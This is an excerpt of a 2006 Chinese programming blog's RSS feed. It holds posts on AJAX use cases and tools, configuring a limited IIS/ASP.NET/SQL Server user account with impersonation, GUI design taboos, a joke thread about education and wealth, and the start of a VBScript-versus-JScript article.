那么在什么时候可能使用到AJAX呢?第一、请求的提交是为了页面数据的显示，这时候用户一般不希望看到页面的刷新，是使用AJAX的一个最佳时候。第二、如果请求提交后，用户能从页面感觉到提交结果，这时候，也最好不要有页面刷新，推荐使用AJAX技术。第三、如果请求提交后，用户不能从页面感觉到提交动作，如绝大多数时候的数据的增加和修改，这时候则需要页面刷新，不能使用AJAX技术。第四、复杂的UI，以前对于复杂的C/S模式的UI，B/S模式一向采取逃避的方法，现在则可以放心大胆的使用AJAX来加以解决。<br /><br />　　AJAX技术的实践，就像有了魔法一样，一旦你使用了一次，就会爱不释手。面对精彩的AJAX技术，还等什么?赶快看看您的WEB应用里，有没有下列问题之一，如果有的话，不妨用AJAX试试看!<br /><br />　　第一、输入值校验的问题<br /><br />　　输入校验是我们经常遇到的问题，这种问题很多时候是可以在JS里解决。但有些时候却需要访问后台，如在申请用户的时候检查用户名是否重复等等问题。用AJAX吧，页面不会有刷新。<br /><br />　　第二、级联显示的问题<br /><br />　　这种问题应该是我们遇到的最多的表现层的问题，常常让我们左右为难:你说访问后台吧，页面需要刷新，用户体验很不好;你说用JS解决吧，确实有点让JS勉为其难，强行用JS解决了，代码一大堆不说，数据量大的话还会有内存问题，而且数据也不安全。<br /><br />　　这类的问题很多:最常见的是级联的两个或更多的选择框，还有选择框的变形，级联菜单，导航树等等。<br /><br />　　遇到了这一类的问题，赶快行动吧!用AJAX访问后台，既不需要刷新页面，也没有过多的JS代码，一举两得。<br /><br />　　第三、请求结果只改变部分页面<br /><br />　　这一类的问题我们也会时常碰到，如，论坛的回复帖子和帖子列表在一个页面上的时候。这两个UI在一个页面上，用户体验比回复帖子在另外一个页面好。但回复后要对整个页面进行刷新，这种感觉就不好了。你看，那么大一个帖子列表，只增加你的一个回复，却要对整个页面进行刷新，不管从哪个角度来看都不好。<br /><br />　　这一类的问题不管是用户体验，还是从技术的角度来讲，都是使用AJAX最好不过。<br /><br />　　第四、由于技术原因而使用iframe的问题<br /><br />　　Iframe的问题纯粹是由于技术的原因引起的。为了解决技术问题而引入iframe,却iframe的一再嵌套却又引入了其他的技术难题。有的想尽办法来勉强解决这个问题，有的却干脆不要使用iframe。不使用iframe，而使用JS的解决方法却是繁琐的。现在不用左右为难了，使用AJAX就是最好的解决方案。<br /><br />　　第五、数据录入和列表显示在同一个页面<br /><br />　　C/S模式的UI中常常有数据录入和数据列表显示在同一个界面上，这样对于用户来说有很好的用户体验，用户录入的结果马上就能在同一界面显示。但是在B/S的UI上，由于需要提交刷新的问题，我们经常把数据的录入和数据显示分别放在两个不同的页面上。很显然，这样的用户体验肯定没有C/S模式来得好。像这样的问题还有很多，在B/S模式下，都因为技术的原因而选择其他的解决办法。现在我们可以自豪的使用AJAX来宣告可以做出和C/S模式一样复杂的UI了。<br /><br />　　第六、翻页问题<br /><br />　　如果有技术可以使翻页不需要刷新，你愿不愿意尝试一下呢?有很多这样的数据显示的问题需要刷新哦，考虑一下AJAX!<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7027.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 16:00 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AJAX：开发者新的技术天地介绍</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 07:52:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7025.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7025.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7025.html</trackback:ping><description><![CDATA[基于XML的异步JavaScript，简称AJAX，是当前Web创新(称为Web2.0)中的一个王冠。感谢组成AJAX的各种技术，Web应用的交互如Flickr, Backpack和Google在这方面已经有质的飞跃。这个术语源自描述从基于网页的Web应用到基于数据的应用的转换。在基于数据的应用中，用户需求的数据如联系人列表，可以从独立于实际网页的服务端取得并且可以被动态地写入网页中，给缓慢的Web应用体验着色使之像桌面应用一样。<br /><br />　　虽然大部分开发人员在过去使用过XMLHttp或者使用Iframe来加载数据，但仅到现在我们才看到传统的开发人员和公司开始采用这些技术。就像新的编程语言或模型伴随着更多的痛苦，开发人员需要学习新的技巧及如何最好利用这些新技术。<br /><br />　　AJAX模式<br /><br />　　许多重要的技术和AJAX开发模式可以从现有的知识中获取。例如，在一个发送请求到服务端的应用中，必须包含请求顺序、优先级、超时响应、错误处理及回调，其中许多元素已经在Web服务中包含了，就像现在的SOA。AJAX开发人员拥有一个完整的系统架构知识。同时，随着技术的成熟还会有许多地方需要改进，特别是UI部分的易用性。<br /><br />　　AJAX开发与传统的CS开发有很大的不同。这些不同引入了新的编程问题，最大的问题在于易用性。由于AJAX依赖浏览器的JavaScript和XML，浏览器的兼容性和支持的标准也变得和JavaScript的运行时性能一样重要了。这些问题中的大部分来源于浏览器、服务器和技术的组合，因此必须理解如何才能最好的使用这些技术。<br /><br />　　综合各种变化的技术和强耦合的客户服务端环境，AJAX提出了一种新的开发方式。AJAX开发人员必须理解传统的MVC架构，这限制了应用层次之间的边界。同时，开发人员还需要考虑CS环境的外部和使用AJAX技术来重定型MVC边界。最重要的是，AJAX开发人员必须禁止以页面集合的方式来考虑Web应用而需要将其认为是单个页面。一旦UI设计与服务架构之间的范围被严格区分开来后，开发人员就需要更新和变化的技术集合了。<br /><br />　　时刻想着用户<br /><br />　　AJAX的最大机遇在于用户体验。在使应用更快响应和创新的过程中，定义Web应用的规则正在被重写;因此开发人员必须更注重用户。现在用户已经逐渐习惯如何使用Web应用了。例如用户通常希望每一次按钮点击会导致几秒的延迟和屏幕刷新，但AJAX正在打破这种长时间的状况。因此用户需要重新体验按钮点击的响应了。<br /><br />　　可用性是AJAX另人激动的地方而且已经产生了几种新颖的技术。其中最引人注目的是一种称为“黄色隐出”的技术，他在数据更新之前时将用户界面变为黄色，更新完成后立刻恢复原来的颜色。AJAX开发人员将用户从Web应用的负载中解放出来;小心地利用AJAX提供的丰富接口，不久桌面开发人员会发现AJAX是他们的方向。<br /><br />　　几种工具和技术<br /><br />　　随着AJAX迅速地引人注目起来，我想开发人员对这种技术的期待也迅速地增加。就像任何新技术，AJAX的兴旺也需要一整个开发工具/编程语言及相关技术系统来支撑。<br /><br />　　JavaScript<br /><br />　　如名字所示AJAX的概念中最重要而最被忽视的是他也是一种JavaScript编程语言。JavaScript是一种粘合剂使AJAX应用的各部分集成在一起。在大部分时间，JavaScript通常被服务端开发人员认为是一种企业级应用不需要使用的东西应该尽力避免。这种观点来来自以前编写JavaScript代码的经历:繁杂而又易出错的语言。类似的，他也被认为将应用逻辑任意地散布在服务端和客户端中，这使得问题很难被发现而且代码很难重用。在AJAX中JavaScript主要被用来传递用户界面上的数据到服务端并返回结果。XMLHttpRequest对象用来响应通过HTTP传递的数据，一旦数据返回到客户端就可以立刻使用DOM将数据放到网面上。<br /><br />　　XMLHttpRequest<br /><br />　　XMLHttpRequest对象在大部分浏览器上已经实现而且拥有一个简单的接口允许数据从客户端传递到服务端，但并不会打断用户当前的操作。使用XMLHttpRequest传送的数据可以是任何格式，虽然从名字上建议是XML格式的数据。<br /><br />　　开发人员应该已经熟悉了许多其他XML相关的技术。XPath可以访问XML文档中的数据，但理解XML DOM是必须的。类似的，XSLT是最简单而快速的从XML数据生成HTML或XML的方式。许多开发人员已经熟悉Xpath和XSLT，因此AJAX选择XML作为数据交换格式有意义的。XSLT可以被用在客户端和服务端，他能够减少大量的用JavaScript编写的应用逻辑。<br /><br />　　CSS<br /><br />　　为了正确的浏览AJAX应用，CSS是一种AJAX开发人员所需要的重要武器。CSS提供了从内容中分离应用样式和设计的机制。虽然CSS在AJAX应用中扮演至关重要的角色，但他也是构建创建跨浏览器应用的一大阻碍，因为不同的浏览器厂商支持各种不同的CSS级别。<br /><br />　　服务器端<br /><br />　　但不像在客户端，在服务端AJAX应用还是使用建立在如Java,.Net和PHP语言基础上机制;并没有改变这个领域中的主要方式。<br /><br />　　既然如此，我们对Ruby o-n Rails框架的兴趣也就迅速增加了。在一年多前，Ruby o-n Rails已经吸引了大量开发人员基于其强大功能来构建Web和AJAX应用。虽然目前还有很多快速应用开发工具存在，Ruby o-n Rails看起来已经储备了简化构建AJAX应用的能力。<br /><br />　　开发工具<br /><br />　　在实际构建AJAX应用中，你需要的不只是文本编辑器。既然是JavaScript非编译的，他可以容易地编写和运行在浏览器中;然而，许多工具提供了有用的扩展如语法高亮和智能完成。<br /><br />　　不同的IDE提供了对JavaScript支持的不同等级。来自JetBrains的IntelliJ IDEA是一个用来JavaScript开发的更好的IDE，虽然许多开发人员也喜欢Microsoft’s Visual Studio产品(允诺会在最新的版本中改善对AJAX的支持)。Eclipse包含了两个免费的JavaScript编辑器插件和一个商业的来自ActiveStat的Komodo IDE。<br /><br />　　另一个JavaScript和AJAX开发中的问题是调试困难。不同的浏览器提供不同的通常是隐藏的运行时错误信息，而JavaScript的缺陷如双重变量赋值(通常是由于缺少数据类型)使得调试更加困难。在AJAX的开发中，调试就更复杂了，因为其需要标识究竟是客户端还是服务端产生的错误。在过去，JavaScript调试的方法是删除所有代码然后一行行的增加直到错误出现。现在，更多开发人员回到为IE准备的Microsoft Script Debugger和为Mozilla浏览器准备的Venkman。<br /><br />　　浏览器兼容性<br /><br />　　JavaScript编程的最大问题来自不同的浏览器对各种技术和标准的支持。构建一个运行在不同浏览器(如IE和火狐)是一个困难的任务。因此几种AJAX JavaScript框架或者生成基于服务端逻辑或标记库的JavaScript，或者提供符合跨浏览器AJAX开发的客户端JavaScript库。一些流行的框架包括:AJAX.Net, Backbase, Bitkraft, Django, DOJO, DWR, MochiKit, Prototype, Rico, Sajax, Sarissa, and Script.aculo.us.<br /><br />　　这些框架给开发人员更多的空间使得他们不需要担心跨浏览器的问题。虽然这些框架提升了开发人员构建应用的能力，但由于厂商已经开发了更细节的用户界面的打包组件解决方案，因此在AJAX组件市场中需要考虑一些其他因素。例如提供通用用户界面的组件如组合框和数据栅格的几个厂商，都可以被用来在应用中创建良好的通过类似电子数据表方式来查看和编辑数据的体验。但这些组件不仅是封装了组件的用户界面而且包括与服务端数据的通讯方式，这些组件通常使用基于标记方式来实现如ASP.Net或JSF控件。<br /><br />　　展望<br /><br />　　最近IE和火狐之间的浏览器之争变得火热起来，因此AJAX开发人员需要足够敏捷的作出反应。关键点在一些问题如CSS或XML，虽然各种浏览器形成采用最新标准的不同阵营(如Mozilla拥抱SVG和E4X标准及在最新火狐BETA版本中使用XUL，而微软使用自己的XAML技术)。所有这些技术代表当前AJAX主流JavaScript和XML的市场方向改变。<br /><br />　　总的来说，AJAX开发人员必须尽快地跟进最新的技术并利用高产的工具集。成功的AJAX开发人员还需要留心他们的使用者以避免将任何问题扩大化。并且AJAX开发人员还需要持续地创新来创建增强Web应用易用性的新方法。<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7025.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 15:52 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IIS、ASP.NET和SQLServer的安全性问题 </title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/6993.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 03:28:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/6993.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6993.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/6993.html#Feedback</comments><slash:comments>9</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6993.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6993.html</trackback:ping><description><![CDATA[
		<img height="1" src="http://www.pcbookcn.com/images/ads_200.gif" width="1" align="left" />
		<span class="main">SQL Server、Internet 信息服务器和 ASP.NET 引擎都提供了坚实可靠的安全模型，它们可以很好地在一起协同工作。为了保证用户数据和应用程序的安全，Microsoft 还为每项服务的默认设置设置了相当低的值。大多数开发人员面临的挑战是如何使用 SQL Server、IIS 和 ASP.NET 在应用程序和数据之间设置适当的信任级别，而不会留下可被别人轻易攻入的安全漏洞。由于涉及三类服务（SQL Server、IIS 和 ASP.NET），所以需要采取三个关键的步骤来确保解决方案的安全。本部分讨论一种为 Web 应用程序设置足够权限和信任级别的更常用（且可靠）的方法。 <br /><br /><a name="1"><b>定义 DotNetKB 自定义 IIS 用户帐户</b></a><br /><br />保证 Web 应用程序安全性的最安全的方法是定义一个权限有限的自定义用户，然后对 IIS 进行配置，使之能够在执行您的 Web 应用程序时能作为自定义用户运行。这是相当容易实现的，可以确保访问您的 Web 应用程序的每个访问者都只具有您希望他们具有的权限。 <br /><br />第一步是生成一个新的 Windows 用户（本例中称为 DotNetKB），为其设置一个增强型密码，然后将其添加到 Windows 来宾组 (Guest Windows Group) 中。同时，确保选中 Password never expires（密码永不过期）和 User cannot change password（用户不能更改密码）复选框。这样将生成一个权限有限的用户，在 IIS 中运行您的 Web 应用程序时，您可以将其用作标识（参见图 7）。 <br /><br /><center><img src="http://www.pcbookcn.com/img_article/2005131113612734.gif" /><br /><br />图 7：生成的权限有限的用户</center><br /><br />然后，调用 Internet 信息服务器管理员并选择承载这些网页的 Web 应用程序。在本例中，您可以选择承载前文所生成的测试页的 Web 应用程序 (DotNetKB_WebSite)。在树视图中的 Web 应用程序上单击鼠标右键，然后从上下文相关菜单中选择 Properties...（属性...）。然后选择 Directory Security（目录安全性）并单击该对话框 Anonymous access and authentication control（匿名访问和验证控制）部分中的 Edit（编辑）按钮。最后，输入自定义用户名 (DotNetKB)，取消选择 Allow IIS to control password（允许 IIS 控制密码）复选框，并输入该自定义用户帐户的密码。完成所有这些工作之后，单击 OK（确定）按钮，将这些更改保存到 IIS 配置数据库中（参见图 8）。 <br /><br /><center><img src="http://www.pcbookcn.com/img_article/2005131113613580.gif" /><br /><br />图 8：Authentication Methods（验证方法）对话框</center><br /><br />此时，IIS 将在一个权限有限的自定义帐户下运行。任何访问者访问您应用程序的网页时，都将以这个自定义用户身份运行，且只具有该自定义用户的验证权限。 <br /><br /><a name="2"><b>授权 DotNetKB 用户帐户访问 SQL Server</b></a><br /><br />然后，您需要为该自定义用户授予访问数据库 (DotNetKB) 的相应权限。为此，您可以使用 Microsoft SQL Server 企业管理器或编写一个自定义脚本，以创建一个这样的用户并授予其访问特定对象的权限。本文介绍如何使用 SQL Server 企业管理器完成此操作。 <br /><br /><b>注意：</b>尽管 Visual Studio .NET 2003 具有与 SQL Server 兼容的许多强大的集成功能，但也不允许从 Visual Studio .NET 2003 中轻松管理用户和用户权限。在大型的组织和团队中，这些高级任务通常由数据库管理员完成。 <br /><br />因此，启动 SQL Server 企业管理器之后，您可以按照以下步骤将自定义用户 (DotNetKB) 添加数据库中（参见图 9）： <br /><br />·在左侧的树视图中，展开节点以显示 DotNetKB 数据库。在我的计算机上，树视图的结构如下：Console Root | SQL Server Group | (LOCAL) (Windows NT) | Databases | DotNetKB。<br />·然后，在数据库下的 Users（用户）节点上单击鼠标右键，并选择 New Database User...（新建数据库用户...）。显示 Database User Properties - New User（数据库用户属性 - 新建用户）对话框时，从 Login name（登录名）下拉框中选择 <new>（&lt;新建&gt;）。<br />·显示 SQL Server Login Properties - New Login（SQL Server 登录属性 - 新建登录）对话框时，选择 General（常规）选项卡，并在 Name（名称）输入框中输入 DotNetKB。确保选中 Windows Authentication（Windows 验证）单选按钮，并从 Domain（域）下拉框中选择自定义用户帐户所在的计算机的名称。然后从 Database（数据库）下拉框中选择 DotNetKB。<br />·现在，选择 Databases（数据库）选项卡，在对话框顶部的列表中找到 DotNetKB 数据库并选中它。然后，确保选中对话框底部列表中的 public（公共）角色。最后，单击对话框底部的 OK（确定）按钮，保存您的更改。 <br /><br /><center><img src="http://www.pcbookcn.com/img_article/2005131113613621.gif" /><br /><br />图 9：在数据库中添加自定义用户 </center><br /><br />然后，您需要为 DotNetKB 数据库中的所有存储过程和自定义函数添加执行权限。为此，您只需为 public（公共）角色授予权限。您可以将权限授予 DotNetKB 用户，这样将使以后的登录（当这些用户获得访问 DotNetKB 的权限时）更容易执行存储过程，而不需要为每个用户添加新的权限。 <br /><br />下面是为 DotNetKB 数据库中的存储过程和函数授予执行权限的步骤： <br /><br />·突出显示树视图中 DotNetKB 数据库下的 Users（用户）节点，以显示此数据库的用户列表。找到 DotNetKB 用户并在其上双击，打开 Database Users Properties（数据库用户属性）对话框。<br />·突出显示（选中）public（公共）角色时，单击 Properties...（属性...）按钮，打开 Database Role Properties（数据库角色属性）对话框。然后单击 Permissions...（权限...）按钮，显示数据库对象和权限设置列表。<br />·选中对话框顶部 Database role（数据库角色）下拉列表中的 public（公共）角色之后，找到为此数据库定义的所有存储过程和自定义函数（可能需要展开对话框才能看到全名），并确保选中各项旁边的 EXECUTE（执行）复选框。您可能会发现某些系统对象的其他一些复选框也被选中了，请不要更改这些选项。<br />·最后，设置所有的 EXECUTE（执行）权限后，单击 OK（确定）按钮，保存更改并关闭对话框。依次单击 OK（确定）按钮，直到所有对话框均被关闭。 <br /><br />至此，您已为 IIS 创建了自定义用户，并设置了该用户在 SQL Server 中的相应权限。现在，您需要在 ASP.NET Web 项目中进行一个配置更改，确保 ASP.NET 使用同一个用户帐户执行对 SQL Server 的所有调用。 <br /><br /><a name="3"><b>设置您的 ASP.NET 应用程序以模拟 DotNetKB 用户</b></a><br /><br />为 IIS 下运行的 ASP.NET Web 应用程序生成坚实可靠的配置的最后一个步骤是：配置 ASP.NET Web 应用程序，使之能够接受来自 IIS 的 Windows 用户标识并能用于访问其他操作系统资源。为此，您只需在 web.config 根文件中输入一行代码。 <br /><br />修改后的 web.config 文件如下所示： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>&lt;configuration&gt;
  &lt;system.web&gt;
    ... 其他要素 ...
    &lt;identity impersonate="true"/&gt; &lt;!-- 假设 IIS 用户标识 --&gt;
    ... 其他要素 ...
  &lt;/system.web&gt;
&lt;/configuration&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />请注意，您只需添加 <identity>元素并将模拟特性设置为 true（真）。不必输入用户帐户或密码，因为这些信息将由 IIS 提供。也就是说，即使其他人能够读取您的配置文件，他们也无法确定使用哪些标识凭据来执行您的 Web 应用程序。 <br /><br />至此，您已生成了自定义用户，并为其设置了访问 SQL Server 和 IIS 的相应权限。在下一篇《创建 ASP.NET 测试页》中，我们来创建一些测试页，确保它能够正常工作。从这里您可以看出一切正常。<img height="1" src="http://www.pcbookcn.com/down_info.asp?id=2390" width="1" border="0" /></identity></new></span>
		<br />
		<br />
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6993.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 11:28 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/6993.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GUI设计禁忌</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6972.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Thu, 11 May 2006 13:45:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6972.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6972.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6972.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6972.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6972.html</trackback:ping><description><![CDATA[
		<p minmax_bound="true">本文列举Jeff Johnson:《GUI设计禁忌》一书中提及的明确针对Web设计和笔者认为对Web设计有参考意义的设计原则和禁忌。设计Web项目时尽量参考一下基本原则，避免设计禁忌，应该能使Web项目的GUI上一个层次。</p>
		<p minmax_bound="true">
				<strong minmax_bound="true">基本原则：</strong>
		</p>
		<p minmax_bound="true">1、关注用户及其任务，而不是技术</p>
		<p minmax_bound="true">2、首先考虑功能，然后才是表示</p>
		<p minmax_bound="true">3、从用户的视角看问题，使用用户的词汇进行描述</p>
		<p minmax_bound="true">4、不要向用户暴露实现细节</p>
		<p minmax_bound="true">5、使常用的用户任务简单化，不要让用户解决额外的问题</p>
		<p minmax_bound="true">6、保持一致性，引导用户的使用习惯</p>
		<p minmax_bound="true">7、保持显示惯性，传递信息，而不仅仅是数据</p>
		<p minmax_bound="true">8、设计应满足响应需求</p>
		<p minmax_bound="true">
				<strong minmax_bound="true">
						<font color="#808000" minmax_bound="true">禁忌：</font>
				</strong>
		</p>
		<p minmax_bound="true">1、同一页面包含重复功能的链接或按钮</p>
		<p minmax_bound="true">2、将复选框用作单选按钮</p>
		<p minmax_bound="true">3、无初始值的多选一设置</p>
		<p minmax_bound="true">4、在非开/关设置中使用复选框</p>
		<p minmax_bound="true">5、用文本框显示只读数据</p>
		<p minmax_bound="true">6、单选按钮之间间隔太大</p>
		<p minmax_bound="true">7、属性标记对齐方式不一致</p>
		<p minmax_bound="true">8、当前无效的控件不充分置灰</p>
		<p minmax_bound="true">9、显示对用户无意义的错误提示</p>
		<p minmax_bound="true">10、不同的类型页面窗口显示相同的标题</p>
		<p minmax_bound="true">11、窗口的标题和调用的命令不一致</p>
		<p minmax_bound="true">12、要求用户输入随机数</p>
		<p minmax_bound="true">13、相似的功能却有不一致的用户操作界面</p>
		<p minmax_bound="true">14、取消按钮无法真正取消操作</p>
		<p minmax_bound="true">15、网站结构反映公司的结构或网站升级的历史</p>
		<p minmax_bound="true">16、返回按钮不能达到预期的目的</p>
		<p minmax_bound="true">17、搜索选项过多，过度复杂</p>
		<p minmax_bound="true">18、使用容易被忽略的隐藏的图片链接</p>
		<p minmax_bound="true">19、需要向下滚动才能看到当前页的重要信息</p>
		<p minmax_bound="true">20、图片按钮对鼠标按下操作没有视觉变化</p>
		<p minmax_bound="true">21、无意义的虚假进度条</p>
		<p minmax_bound="true">22、执行长时间的任务时鼠标指针不显示成忙状态</p>
		<p minmax_bound="true">23、不考虑用户可能的人为的错误输入</p>
		<p minmax_bound="true">24、认为好的UI就是漂亮的UI</p>
		<p minmax_bound="true">25、盲目错误的使用页面模块化设计</p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6972.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-11 21:45 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6972.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学历太重要了！(经典啊) </title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6933.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Thu, 11 May 2006 04:29:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6933.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6933.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6933.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6933.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6933.html</trackback:ping><description><![CDATA[ 
<p>首先，网上出现了这样一个帖子： </p><p>　　我是博士生,我深知学习的重要性.通过这么多年的学习,我已成功地使自已由一个农家子变成了处级干部,现在不但有专车接我上下班,而且还住着一百多平方的房子月收入达到了三千多块,还娶了一个漂亮的太太,我过上了幸福的生活.我感谢生活… </p><p>  然后，各式各样的回帖就出现啦 </p><p>　　　a回贴如下: <br />　　　我是硕士生,我深知知识的重要,于是我选择了学医.现在是某眼科医院的主治医生.月入万元有余,我不但买了房,还轻松地供了车.医院最漂亮的护士mm,天天要求我和她结婚.说实话,这婚有什么好结的.在一起睡不就得了 </p><p>　　　b回贴如下: <br />　　　我是本科生.现在一房地产公司搞策划.去年分红才十几万.真是一年不如一年,前年还分到二十多万,今年就成了这样….. </p><p>　　　c回贴如下: <br />　　　我是大专生,经过多年的努力,终于当上了公司的财务经理.也不知为什么,老总对我总是那么好.不但月月给我六位数的工资.而且还送了一套房子和一辆汔车给我.银行里的钱够我好好过完这辈子了…..对了,我们是上市公司. </p><p>　　　d回贴如下: <br />　　　我是中专生.唉,也就算个高中文凭.找不到好的工作于是就做了报关员.我充分启动了我的大脑.也有房有车了.与你不同的是,这些都是我自已买的.想想挺不容易.我儿子上美国留学的钱,我都替他存够了.下一步计划,就是找谁替我生个儿子… </p><p>　　　e回贴如下: <br />　　　你们吵什么吵呀?我没什么文化.初中都没毕业.找不到好工作,只好天天在家打麻将.由于没有文化吧.算牌老是不准.今年输了一百多万.对了,你们要是有兴趣,有空一起打牌呀. 我家住南方某某村的.我爸是村长.我的电话是139029x88888… </p><p>　　　f回贴如下： <br />　　　我是文盲一不小心当上了董事长,手下只有二十六个上市公司,几个不孝子一天口就要300万去唱ktv,改天再找一个14娘好好管管这几个不孝子 </p><p>　　　g回贴如下： <br />　　　我是法盲，一不小心当上黑社会老大，手下兄弟百十个，掌管60多条街，若干店铺和娱乐城，每年收入几个亿，每天傍我的妞几十个。对了，由于没有文化，现在正请博士帮忙上市呢 </p><p>　　　h回贴如下： <br />　　　我是白痴，他们选我当美国总统，我没事就打打阿富汗，攻攻伊拉克，死它一两万.一天花他几个亿$ </p><p>　　　i回贴如下： <br />　　　我是一个坐台小姐,几个月前被一个有钱的老板看上把我包了起来,特地给我买了一栋豪华别墅,在我的户头里存进了500万,就那么点钱真不知道他是怎么想的,前几天买了一支口红花了10万,在洗手间补妆的时候不小心掉马桶里了,掉了就掉了吧,才那么几个钱,不过上个星期去拉丝维加丝,赌了一把,手气真背,一下子就输了1000万,害得我只能坐我的专用直升飞机回家,本来想坐那些平民喜欢坐的民航感受一回的,咳,下次吧,现在我的户头上有2000万,又能玩几把了 </p><p>　　　j回帖如下: <br />　　　我是一个乞丐本来在伊拉克行乞，这些天因为打仗所以转移了地方，本想在国外的再做本行的，因为进行资格审查时查到我有3亿美元（还好只找到我的九牛一毛，不要交税就交死了）的资产不发给我行乞执照，听说国内还没有实行执照上岗所以又回来了，搬家真不容易，带着我一家大小128口真不方便，因为怕有人劫机所以自己买了一个波音飞机飞了回来，没有地方放，就1折卖给了民航。大家也知道我们这行的，白天干活晚上还是要休息的嘛，所以买了43公顷的一块小地随便造了几栋30至70层不等小楼，为了工作方便买了几辆小车，人太多嘛所以加长了一点，白天开到北京好工作，呀不能再说了，不要会有人抢饭碗了 </p><p>　　　k回贴如下： <br />　　　俺是一个渔民，从小就在海边长大，没上过学。那些什么汉字、英文、法文、德文、俄文、西班牙文、拉丁文……都是俺收集各个国家小人书，边看边自学的。现在联合国有点啥交流方面搞不定的场合还得请我去，我不爱去，一小时才10000$，没意思，还不如在家打鱼挣的多呢！俺从小就喜欢动手做点小东西啥的，天生手比较巧，什么遥控模型飞机了，俺2岁就会做了。现在咱家后院里一个叫太平洋的小水坑里，停的10艘航母也是俺自己一点点做出来的，这批已经被伊拉克买下来了。还有一批订单，是北朝鲜定的10艘，准备今夏交货。每天忙的不行，钱啥的对我来说只是数据，都放在美国花旗银行里了，我要是哪天不高兴，把钱提出来。花旗立刻破产……</p><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-11 12:29 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用VBScript和JScript编写WEB应用程序（对比分析）</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6924.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Thu, 11 May 2006 03:21:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6924.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6924.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6924.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6924.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6924.html</trackback:ping><description><![CDATA[使用VBScript和JScript编写WEB应用程序<br /><br />我心飞扬<br /><br 